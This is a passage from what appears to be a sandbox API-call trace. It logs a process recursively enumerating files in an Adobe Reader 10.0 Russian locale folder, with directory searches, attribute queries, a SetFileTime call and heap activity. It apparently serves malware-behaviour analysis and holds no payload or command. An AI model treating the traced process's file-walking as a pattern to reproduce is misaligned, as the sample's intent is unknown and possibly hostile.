Flags=0x0, BaseAddress=0x12a1df8) returned 1 [0082.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.527] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.RUS", cAlternateFileName="")) returned 1 [0082.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c968 [0082.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d8a8 [0082.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.529] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8077d300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.RUS", cAlternateFileName="")) returned 1 [0082.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c988 [0082.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d9b0 [0082.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.531] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.RUS", cAlternateFileName="")) returned 1 [0082.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.RUS", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.RUS", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.RUS", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.RUS", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUS", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.RUS", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUS", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUS", cAlternateFileName="")) returned 0 [0082.532] GetLastError () returned 0x12 [0082.532] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.532] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.532] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8077d300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.RUS", cAlternateFileName="")) returned 1 [0082.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.534] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.534] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.535] NtClose (Handle=0x174) returned 0x0 [0082.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128e2f8) returned 1 [0082.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e2f8 [0082.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e400 [0082.536] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.536] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.536] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e508 [0082.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125caa8 [0082.537] 